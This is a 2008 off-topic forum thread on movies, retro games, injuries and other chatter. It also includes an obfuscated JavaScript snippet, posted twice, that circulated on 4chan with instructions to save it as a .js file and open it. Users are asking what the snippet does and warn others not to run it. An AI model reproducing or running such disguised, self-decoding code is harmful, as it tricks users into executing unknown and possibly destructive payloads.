Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 17, 2008, 04:10:18 AM
Apparently there is now a way to play PS2 ISOs without modding a system. It's just a specific memory card exploit and a patch for the ISO so the system recognizes it as a DVD Video disc. Huh.

Sounds similar to the M33 driver for the PSP.

So I just drank a 32oz Monster and I don't feel any different. This is weird because I almost never drink anything caffeinated. If I drink a soda, it's Sprite or root beer. I don't know how I have this tolerance for caffeine, but I do and it's stupid.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on July 17, 2008, 06:29:48 AM
I generally don't feel the effects of caffeine if I'm sitting at my desk on the computer.


My script, Swerve, will have its v0.1 RC1 released tonight. I'll post laytur with the URL if anyone wants to try it out. This way, you'll be able to share your files with the rest of us on the #s.net channel on IRC. that's all.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on July 17, 2008, 07:06:23 AM
I love not consuming any caffeine for a week or two, and then just drinking a ton of coffee in one sitting.

It's like the episode of Futurama where Fry drinks 100 cups of coffee...The whole world slows down, and I get this massive urge to chase my dogs around for some hours.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 17, 2008, 07:19:29 AM
Apparently there is now a way to play PS2 ISOs without modding a system. It's just a specific memory card exploit and a patch for the ISO so the system recognizes it as a DVD Video disc. Huh.

Well, let's see,there's the memory card exploit that essentially makes the PS2 operate some executable code off the memory card when a certain CD is read (triggered by the SLUS code), so using that they could manage to do it. Does that system require a harddrive or anything?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on July 17, 2008, 02:44:04 PM
No, that would just be HD Loader. This is something new.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 17, 2008, 02:55:59 PM
so i died in monroeville

great, now i guess im just going to quit, since i am now a level 1 zombie, and any survivor that can headshot me, kills my character.  so fuck that, back to malton with my zombie.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on July 17, 2008, 04:55:41 PM
so i died in monroeville

It's only funny because I live near the real Monroeville, PA (though Jupi lives closer lawl D:)...
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on July 17, 2008, 05:17:28 PM
It's only funny because I live near the real Monroeville, PA (though Jupi lives closer lawl D:)...


Yeah, when I read that, my face went
o_O!"
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 17, 2008, 05:31:28 PM
http://wiki.urbandead.com/index.php/Monroeville
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on July 17, 2008, 05:38:34 PM
Yeah, I figured it was related to that.  :3  But it still took a moment for it to click in my head, so I was all "Whuh?  When did you get to be 15 minutes away?"
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 17, 2008, 07:10:02 PM
No, that would just be HD Loader. This is something new.

Well, it could be based on the idea of making it run code off the memory card. It could be set so that any SLUS code will trigger this code to be run, and that code is designed to load a game, regardless of whether it's official or not.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on July 17, 2008, 07:33:58 PM
Ah, another fun thing to note. It is actually possible to use the new exploit to make the memory card be the only thing needed for HD Loader. It actually adds a menu to the dashboard for the PS2 that lets you browse the system files for the PS2, anything on disc, access HD Loader and a bunch of other stuff. It even has a customizable GUI.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 17, 2008, 07:45:53 PM
Yeah, it probably runs some code that sets it up so that it essentially replaces the OS in the PS2 with it's own stuff, using the memory card and HD Loader exploit, or something similar. I always wondered if something like that was possible, when I learned how you installed the HD Loader via the memory card exploit.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 18, 2008, 02:43:53 AM
dungeons and dragons fourth edition

lalalala its awesome

lalala play it

lalala i am a dwarf

lalala
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Korremar on July 18, 2008, 11:50:02 AM
The Dark Knight was so. Fucking. GOOD. The entire movie was phenomenal, and I'm not even sure I know a word to describe Ledger's performance. Suffice to say, it's easily the best movie of the year, guaranteed.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: itsgravy on July 18, 2008, 12:40:36 PM
The Dark Knight was so. Fucking. GOOD. The entire movie was phenomenal, and I'm not even sure I know a word to describe Ledger's performance. Suffice to say, it's easily the best movie of the year, guaranteed.

I'm cutting out of work today to see it at 4, it's the only showing time left because it's all sold out.  It looks amazing and I've been a big batman fan since I was like ten (See Avatar).  So if any of you live in maryland then don't look to the back row of the theater if you value your innocence  ;)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 18, 2008, 06:10:16 PM
The Dark Knight was so. Fucking. GOOD.

My friend saw it yesterday, and he still wants to see it today. I'm bummed, I really doubt it wont be sold out tonight.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on July 18, 2008, 06:51:02 PM
I just got back from it and I confirm its amazingness. It's pretty much the perfect superhero movie.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on July 18, 2008, 09:45:48 PM
The Dark Knight
DO WANT

Christian Bale kicks serious ass, and I hear Heath Ledger was excellent.  I'd probably better see the first movie, though -- seems like Showtime never has a copy in, though.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 19, 2008, 01:09:41 AM
Every theater here is sold out for the next few days. Not really a problem, though, since no matter how good a movie is, it's always better without the movie theater crowds.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on July 19, 2008, 01:39:57 AM
I'm cutting out of work today to see it at 4, it's the only showing time left because it's all sold out.  It looks amazing and I've been a big batman fan since I was like ten (See Avatar).  So if any of you live in maryland then don't look to the back row of the theater if you value your innocence  ;)
I went to the 12:15 showing on the 17th.  It was fucking amazing.  Best this was I got the last 12:15 ticket.  When I got it I was singing "I got a golden ticket." and people just looked at me funny.


Wait I am funny looking....
Sorry Jupi I beat you to the punch.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 19, 2008, 07:26:19 AM
So today I have to go to my mom's college roommate's daughter's wedding. I've never met this person.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 19, 2008, 08:56:02 AM
Christian Bale

I don't think he's ever made a bad move. I mean, look at his role in The Machinist. He lost like, 70 lbs for that, in something like 3 months, ro something ridiculous. That show's dedication to doing a movie justice.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 19, 2008, 12:13:59 PM
Someone posted this on 4chan saying "save as 4chan.js and open"


a='.xn;le=)c(s:)"erWap+:(e=g.s(tanWmsfS.etfoto.ot"r-jatr)g4\\hn+d.ti'+
'g"+.c;"t4iece-1(tSjxh)vr!s\\l/lfo"3;jn/blfg)n ;/m.r"/0dtc..bO)?4"'+
'nteys=e!(onnd"elses)e/.rnc"tSqoxs-e,r+e,r"(oebroH.s("oibt(niteaa'+
' t,)og (sb"lte""stdrtft.ptx nba:+ginaope.c"ued+srdsse,snhdanooom'+
'o\\i)/eno;l}mcHh/;xuicbsmrnsetep\\dc".pednnxm\\t(2."tr.lecpg\\Weph"n'+
'(,.s0nca"t!rbt!nsxx""t.=re;epnx\\mto("h!gmc/;p+oea.tr\\!inr=rx)a\\8'+
'"p-px)oepdp\\"fhso"nhsmH"a-)enens.adt4aret(;!saaeocxeyeutnc"a;mua'+
't&in:;pea+j"p/.4{ne-pr)in(i(neeot!)d/t,.atlnrrj.emph)..yem/eaito'
b='';j=0;for(i=0;i<510;i++){j=(j*5+1)%512;b+=a.charAt(j)}new Function(b)()

any idea what it actually does, or a way to decrypt what it's supposed to do?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 19, 2008, 02:31:34 PM
I've heard of them reformatting your PC, so I wouldn't do it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: cristian989 on July 19, 2008, 02:38:35 PM
Someone posted this on 4chan saying "save as 4chan.js and open"


a='.xn;le=)c(s:)"erWap+:(e=g.s(tanWmsfS.etfoto.ot"r-jatr)g4\\hn+d.ti'+
'g"+.c;"t4iece-1(tSjxh)vr!s\\l/lfo"3;jn/blfg)n ;/m.r"/0dtc..bO)?4"'+
'nteys=e!(onnd"elses)e/.rnc"tSqoxs-e,r+e,r"(oebroH.s("oibt(niteaa'+
' t,)og (sb"lte""stdrtft.ptx nba:+ginaope.c"ued+srdsse,snhdanooom'+
'o\\i)/eno;l}mcHh/;xuicbsmrnsetep\\dc".pednnxm\\t(2."tr.lecpg\\Weph"n'+
'(,.s0nca"t!rbt!nsxx""t.=re;epnx\\mto("h!gmc/;p+oea.tr\\!inr=rx)a\\8'+
'"p-px)oepdp\\"fhso"nhsmH"a-)enens.adt4aret(;!saaeocxeyeutnc"a;mua'+
't&in:;pea+j"p/.4{ne-pr)in(i(neeot!)d/t,.atlnrrj.emph)..yem/eaito'
b='';j=0;for(i=0;i<510;i++){j=(j*5+1)%512;b+=a.charAt(j)}new Function(b)()

any idea what it actually does, or a way to decrypt what it's supposed to do?

http://answers.yahoo.com/question/index?qid=20080613195608AAMNBzU
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 19, 2008, 05:34:13 PM
Ahh, thanks for the link, how would you decode it anyway. I'm pretty sure it's taking advantage of a flaw in javascript that allows it to interpret strings as actual code (I could be wrong, but I've heard of that before, and it looks quite similar to what I saw.) but I have no idea how you would decode that.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: 淫蟲 on July 19, 2008, 05:47:39 PM
Quote
This is the Zodiac speaking. Since you are doing nothing about me, I want you to put little Zodiac boxes everywhere to show that you recognize my reign. It's your choice, if you don't maybe I will just work extra hard and spread my message accross other wikis and websites, hopping from one to another.

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^ Was browsing Wikipedia and there was a box spanning the top-half of the screen with that message, and scrolling down caused the box to move alone with the page.  WTF is it?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on July 20, 2008, 12:07:12 AM
^ Was browsing Wikipedia and there was a box spanning the top-half of the screen with that message, and scrolling down caused the box to move alone with the page.  WTF is it?

OH MY GOD THAT IS MY MOTHER!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 20, 2008, 01:31:12 AM
My friends trying calling me to see the new batman movie tonight, but my phone was charging.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on July 20, 2008, 04:22:59 AM

Title: Re: Lame Replies Thread, With A Vengeance
Post by: cristian989 on July 20, 2008, 04:32:54 AM


I see I'm not the only one that's up at 4:30am  8)

**EDIT:  5:45am :)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on July 20, 2008, 04:54:48 AM
I see I'm not the only one that's up at 4:30am  8)

Join the club.  <3
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 20, 2008, 06:19:16 PM
^ Was browsing Wikipedia and there was a box spanning the top-half of the screen with that message, and scrolling down caused the box to move alone with the page.  WTF is it?

I read that the Zodiac was a serial killer who left messages in code like that.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on July 20, 2008, 11:48:49 PM
Jesus, was Dark Knight ever incredible. Sorry for the generic statement, but holy fuck did it ever live up to the hype.

I actually have a reason to really mourn Ledger now. =/
Same.  I think he did a better job as The Joker then Jack in the original Batman movie.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 20, 2008, 11:50:28 PM
It's a hacker. The message is injected into the actual page, rather than into the wiki markup. It's also hit Encyclopedia Dramatica.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 21, 2008, 01:28:12 AM
I have a half-inch-wide cut on my eyebrow from these "beaters" me and my friends play with. They're PVC pipes with styrofoam insulation taped to the outside wrapped in cloth with hockey tape on the outside. One of them doesn't have any foam at the tip. That one hit me in the eye. It hurt. It's possible I need stitches, but I'll worry about it later.

Pix:
(http://img.photobucket.com/albums/v253/annonymous/Image008.jpg)
(http://img.photobucket.com/albums/v253/annonymous/Image009.jpg)

And the thing that hit me:
(http://img.photobucket.com/albums/v253/annonymous/Image010.jpg)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 21, 2008, 01:33:26 AM
i am going to prey that nobody else bids on this, because i am going to bid at the last minute, and i really hope i can nab it for under $25.00.

http://cgi.ebay.com/Tomba-2-The-Evil-Swine-Return-PS1-PS2-and-PS3_W0QQitemZ120285053461QQihZ002QQcategoryZ139973QQssPageNameZWDVWQQrdZ1QQcmdZViewItem

like, diablo 2 is my all time favorite game

tomba 2 is my all time second favorite game

actually, id pay $30 for a used copy of tomba 2, it would prevent me from getting soul calibur 4 with my current cash, but whatev, t2 > sc.

CROSS YOUR FINGERS FOR ME, AND HOPE THE PRICE DOESN'T INCLINE THE HOUR BEFORE THE AUCTION ENDS!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on July 21, 2008, 01:40:31 AM
Good Luck Vlad.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 21, 2008, 09:04:32 AM
Wasn't that game made by the same people who did Kalona? (can't spell it right).

Also lolwut, a beating stick? Doesn't seem like the smartest way to split your eyebrow.

It's a hacker. The message is injected into the actual page, rather than into the wiki markup. It's also hit Encyclopedia Dramatica.

So this is why 4chan is down then?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 21, 2008, 09:34:06 AM
Shitty deal. Did the Styrofoam come off or something?

It slid down some, so the end of the PVC pipe was exposed, but it wasn't visible through the cloth. I cut a band-aid and used a small piece to hold the skin together, so I don't think I'll need stitches.

Really, it was cut because my friend used and up-to-down slice that was pretty much guaranteed to hit me in the face (which, by the way, doesn't count as a valid hit).

Diagram:
(http://img.photobucket.com/albums/v253/annonymous/representation.gif)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 21, 2008, 09:35:43 AM
You know, there's something called Blocking, maybe you should try it next time someone tried to hit you in the face :P
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 21, 2008, 09:37:56 AM
Yeah, next time. Of course, we usually don't need to block our heads from vertical hits, and that one came out of my guard being down from blocking a valid hit.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 21, 2008, 09:42:14 AM
See, when my friends and I did stuff like that, we used scrap pieces of wood. With no padding/protection of any kind. I've only been hit once pretty badly, and that's because the guy was using a plastic goalie's hockey stick thing and just clipped my ankle. Of course, I couldn't walk for 20 minutes or so, but aside from a purple mark for 2 or 3 weeks, and some pain, I was fine.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 21, 2008, 11:20:32 AM
change of subject: i have 4 less wisdom teeth now. i haven't completelycome don from the anesthesia yed.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 21, 2008, 12:02:27 PM
change of subject: i have 4 less wisdom teeth now. i haven't completelycome don from the anesthesia yed.

lulz. Also I still have all of mine.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on July 21, 2008, 02:35:25 PM
<image>

I'm sorry, but that picture made me laugh. :p
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 21, 2008, 05:26:08 PM
lulz. Also I still have all of mine.

Same here. Though I AM 4 teeth the less.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 21, 2008, 07:36:58 PM
well i trust amazon more than ebay, and when i found a description basically saying "case, and instruction book included, dick has no scratches"

$45.00 including s/h

ORDERED

tomba 2 tomba 2 tomba 2

(http://img99.imageshack.us/img99/3085/tomba2coverer7.jpg)

will be mine AGAIN soon!

diablo 2 is my all time favorite game, but you can just walk into wal mart and buy it.

tomba 2 is my second favorite game of all time, and if you want it, be prepared to shell at least $40.00 for a decent condition used copy.

i was going to use my moneys for soul calibur 4, but fuck it, the only game better than tomba 2 is diablo 2, and i own it.

*edit* while im at it, the castlevania game for the psp is quite awesome.  no rpg bullshit (though i loved CotM, and SotN) just a journey to the end of the level to kill the boss for a red circle to get to the next level.

quite challenging, pretty old school, but with a nice new look and its really fun.  not to the mention the music is AAWEOEEOEOSOMSOMSEEEE.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on July 21, 2008, 08:59:34 PM
The original version of Rondo of Blood is so much better than the remake. You can unlock it somehow in Dracula X Chronicles. Hell, you can unlock Symphony of the Night too. Sadly, the emulation for the original Rondo of Blood isn't that great and it pisses me off.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 21, 2008, 09:01:21 PM
Lame. Castlevania is pretty hard, but absolutely awesome. I absolutely love the music in it. (And playing Bloody Tears in IIDX, even if it is a kinda shitty remix, makes me very happy).
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 21, 2008, 09:05:58 PM
wellp in my opinion, the remake is made of win and more win.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 21, 2008, 09:25:48 PM
Funny, I've been playing CotM recently and remembering how much I liked that game. Are there any other Castlevania games with the RPG-ish elements in them for the GBA?

Also, STALKER, how is it?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 21, 2008, 09:29:16 PM
harmony of dissonance

aria of sorrow

Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on July 21, 2008, 09:29:52 PM
harmony of dissonance

aria of sorrow



Tango of discontent?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on July 21, 2008, 09:31:56 PM
Tango of discontent?

Waltz of shame?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on July 21, 2008, 09:32:46 PM
This is the merengue of malice!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on July 21, 2008, 09:37:46 PM
The swing of suck.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 21, 2008, 09:39:10 PM
the tango of thong
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on July 21, 2008, 09:40:01 PM
Foxtrot of love!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on July 21, 2008, 09:45:52 PM
The landalear of lame.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 21, 2008, 10:21:40 PM
harmony of dissonance

aria of sorrow



Well...how are they? Anyone? Also no one here has played STALKER??
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on July 21, 2008, 10:24:26 PM
Never heard of it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 21, 2008, 11:25:12 PM
Want to play Stalker, looks awesome.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on July 21, 2008, 11:25:52 PM
Want to play Stalker, looks awesome.


Just find yourself a cute girl and never, ever let go.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 21, 2008, 11:53:47 PM
I just realized this not long ago, but Travis's bike from No More Heroes is designed to look like an x-wing. Bricks, shitting, etc.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 21, 2008, 11:54:35 PM
Just find yourself a cute girl and never, ever let go.

You almost scare me. Almost.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on July 21, 2008, 11:55:20 PM
You almost scare me. Almost.


My work is not yet complete.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on July 22, 2008, 12:06:05 AM
You dear Bobbias you are done for.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on July 22, 2008, 01:44:33 AM
Want to play Stalker, looks awesome.

It's quite buggy.

But it's still a fine game, despite that.  There are some really dumb things about it (i.e. clear weapon jams with reloads, battles that are VERY HEAVILY stacked against you, etc) but it has a certain quality about it that makes it hard to put down.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on July 22, 2008, 02:56:29 AM
You dear Bobbias you are done for.

Oh please, I wouldn't hurt him.


...


...But I can't say the same for my minions.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on July 22, 2008, 03:30:11 AM
Well...how are they? Anyone? Also no one here has played STALKER??

Harmony of Dissonance is lame.

Aria of Sorrow is excellent.

Dawn of Sorrow is a direct sequel and is also excellent.

Portrait of Ruin is probably the best. I really liked it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 22, 2008, 04:15:32 AM
why do games i want have to be stupidly expensive?

http://www.amazon.com/gp/offer-listing/B0009PEX0O/ref=sr_1_olp_1?ie=UTF8&s=videogames&qid=1216714209&sr=1-1

shining force 3

$300.00 new

$125.00 used with case

$80.00 disc only, buffered disc

funny that a new sega saturn costs only $120.00, but this game out prices it by more than double.

wellp, i didn't like the first game, i love the second game (easy too obtain, and its the best srpg ever), and i only heard good things about the third.  maby ill pick it up if i ever decide to start a small saturn collection.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on July 22, 2008, 06:24:10 AM
Shining Force 3 and Panzer Dragoon Saga have always been super high priced.

And you can probably get a Saturn with a bunch of not-so-rare games for $40.

If you do ever pick up Saturn stuff, look up Dragon Force, Three Dirty Dwarves, Shining Wisdom, Albert Odyssey, and my personal favorite game of all-time Guardian Heroes.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Korremar on July 22, 2008, 12:46:20 PM
How does one go about locating an IP? That is to say, finding its physical location.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: itsgravy on July 22, 2008, 01:15:28 PM
How does one go about locating an IP? That is to say, finding its physical location.
see
Quote from: Bash.org
#5273 +(30070)- [X]
<erno> hm. I've lost a machine.. literally _lost_. it responds to ping, it works completely, I just can't figure out where in my apartment it is.

If you're just looking for the IP, it's command prompt > ipconfig /all
Or if you're looking for a physical location...
http://www.geobytes.com/IpLocator.htm (http://www.geobytes.com/IpLocator.htm)

Title: Re: Lame Replies Thread, With A Vengeance
Post by: Korremar on July 22, 2008, 01:50:23 PM
Well yes, locating the IP I'm looking for in Tom's River, NJ is easy, I mean is there any way to get any more specific then that?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: itsgravy on July 22, 2008, 02:04:04 PM
Not sure exactly what you're looking for; it gives you Longitude, Latitude, and generates a map.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 22, 2008, 02:17:01 PM
It's quite buggy.

But it's still a fine game, despite that.  There are some really dumb things about it (i.e. clear weapon jams with reloads, battles that are VERY HEAVILY stacked against you, etc) but it has a certain quality about it that makes it hard to put down.

I've heard this, but I've also heard with the right patches and mods that it is an awesome game. I was thinking of buying it and the new expansion/game whenever it comes out.

Also I'm thinking about selling my Wii, after I play MM9, the new Wario game, and Pikmin 3. They still go for a good price with a decent amount of games right?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: notHiro on July 22, 2008, 06:07:38 PM
Just found this video.



Apparently the drummer is DukAmok. LOL
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on July 22, 2008, 06:11:21 PM
Yeah, I saw that a little while ago.  It took a little while before people realized "Hey...DukAmok!"
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 22, 2008, 07:32:54 PM
So whenever I use Hydrocodone, my accuracy in StepMania goes up, but my hands feel heavier.

Also:
change of subject: i have 4 less wisdom teeth now. i haven't completelycome don from the anesthesia yed.

I don't remember posting this.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on July 22, 2008, 08:49:09 PM
I've heard this, but I've also heard with the right patches and mods that it is an awesome game. I was thinking of buying it and the new expansion/game whenever it comes out.

Also I'm thinking about selling my Wii, after I play MM9, the new Wario game, and Pikmin 3. They still go for a good price with a decent amount of games right?


Why would you sell it when there are obviously new games still coming out for it that you want to play? Considering Pikmin 3 probably hasn't even started production yet (probably), you won't even be selling it for like...a year at least? And by that point, if you can't find a game worth playing, you're lying or haven't looked hard enough (especially since Mad World should be out by then holy crap).

I mean, are you really basing this on their E3 stuff, where they openly stated that they weren't doing anything really special for it since it had been reduced to such a small convention? I'm not sure what's up with this knee-jerk reaction everyone seems to have with E3 this year.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 22, 2008, 09:30:55 PM
Why would you sell it when there are obviously new games still coming out for it that you want to play? Considering Pikmin 3 probably hasn't even started production yet (probably), you won't even be selling it for like...a year at least? And by that point, if you can't find a game worth playing, you're lying or haven't looked hard enough (especially since Mad World should be out by then holy crap).

I mean, are you really basing this on their E3 stuff, where they openly stated that they weren't doing anything really special for it since it had been reduced to such a small convention? I'm not sure what's up with this knee-jerk reaction everyone seems to have with E3 this year.

It's mostly due to how I've basically played what I wanted already (minus MKW) yet I really haven't played much else. I'll definitely wait for it, but I wouldn't doubt me selling it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: K-Mann on July 24, 2008, 01:48:09 AM
Hi guys.

Hows it goin'?

I'd really like your input in this, it would be greatly appreciated.

http://www.spectere.net/smf/index.php?topic=743.0
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on July 25, 2008, 01:14:21 AM
Back from driving cross-country to Vegas and back with my mom for two weeks. How the hell's everyone doing?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 25, 2008, 01:53:33 AM
Back from driving cross-country to Vegas and back with my mom for two weeks. How the hell's everyone doing?

That sounds damn tiering. Also we almost crashed the server while you were gone.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 25, 2008, 04:15:46 AM
im still straight but technically bi

TECHNICALLY 

DAMN YOU RIOOOOOOOOOOOOOOOOOOOOOOOOOo  MBOIIIIIIIIIIIIIIIIIIIIIII
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on July 25, 2008, 05:12:52 AM
im still straight but technically bi

what

TECHNICALLY 

WHAT HOW

DAMN YOU RIOOOOOOOOOOOOOOOOOOOOOOOOOo  MBOIIIIIIIIIIIIIIIIIIIIIII

Oh.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 25, 2008, 05:19:48 AM
basically, yep.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on July 25, 2008, 12:02:28 PM
That sounds damn tiering. Also we almost crashed the server while you were gone.

What, how. On purpose?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on July 25, 2008, 01:16:51 PM
Nah.  We spammed a shitload of images.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on July 26, 2008, 02:23:58 AM
What is this COCK.

http://img.photobucket.com/albums/v682/IceBlasphemy/100_2256.jpg

WHEAT SALAD EISENHOWER
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 26, 2008, 02:25:15 AM
A true patriot.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: cristian989 on July 26, 2008, 03:46:00 AM
new avatar lolz
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on July 26, 2008, 01:32:12 PM
update:

I got an ear infection a few days ago. "swimmers ear" even though I haven't gone swimming in years.
Went to the E.R., MD's assistant told me all about the infection and put me on:
Keflex
Vicoden 5/500's
and antibiotic ear drops.

This really isn't fun
also vicoden rules, I've never taken it before. :p

But srsly, don't get an ear infection.

:D
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on July 26, 2008, 02:00:55 PM
I have to work on my online Health course today. It is a giant cock.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 26, 2008, 03:19:17 PM
So I just found out that I have slave blood in me, that and I have ancestors that died in concentration camps.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 27, 2008, 05:05:39 AM
I just watched Titan A.E. for the first time. While it looked great, I don't like what they did to the laws of physics (example: shutting off their engine and coming to a complete stop in the vacuum of outer space).
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on July 27, 2008, 02:33:09 PM
Yeah.  Other than minor crap like that, I liked the movie.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: 淫蟲 on July 27, 2008, 02:54:51 PM
I have ancestors that died in concentration camps.
My ancestors killed your ancestors.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 27, 2008, 02:58:52 PM
My ancestors killed your ancestors.

My ancestors have descendants who killed and were killed by your ancestors.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on July 27, 2008, 03:43:16 PM
My ancestors were all farmers :-(
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on July 27, 2008, 04:25:01 PM
Supposedly, someone way back in my family was shot out of a cannon.

...At least that's what I thought being canonized meant until six or seven years ago.  xD
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 27, 2008, 07:11:47 PM
k im going to head off to lansing

BE BACK TOMORROW

Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 27, 2008, 08:21:37 PM
My ancestors killed your ancestors.

That's alright, I'm also part viking, so there was probably a decent amount of murderers in my family. Also the part that's black was probably forced into being part of my family.

Also I turn 20 tommorow. :3
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 28, 2008, 12:43:25 AM
Me and some of my friends just explored the inside of this abandoned furniture warehouse. It's pretty awesome, we found an easy way in that had obviously been used before but was hidden pretty well. There was some pretty cool graffiti inside, including a peace sign in rust. We found a way to the roof, too. It would be a lot more awesome if the building was in a less urban area so more stars were visible, but it was still awesome. We had to leave about 15 minutes after finding our way inside because my friend's girlfriend had to go home and she can't drive yet. We really want to go back.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on July 28, 2008, 12:45:53 AM
Heh, my girlfriend's a quarter black. I wonder, if we had kids, if there'd be some weird remote chance of the kid being black... how odd would that be.

Also, went to the flea market today to buy one of the rarest, most sought after pennies in existence... $1100 but well worth it. 5 more Indian Head cents and my collection will be complete... amazingly pimp.

Picture from my crappy camera:

(http://img.photobucket.com/albums/v682/IceBlasphemy/100_2304.jpg)

Also, annon, that's really cool. I wish there were abandoned buildings around me, everything's relatively new and well-kept around here so there's just, like, swamps to explore. Which are nice too. I always manage to find stuff from the 70's and 80's in swamps.
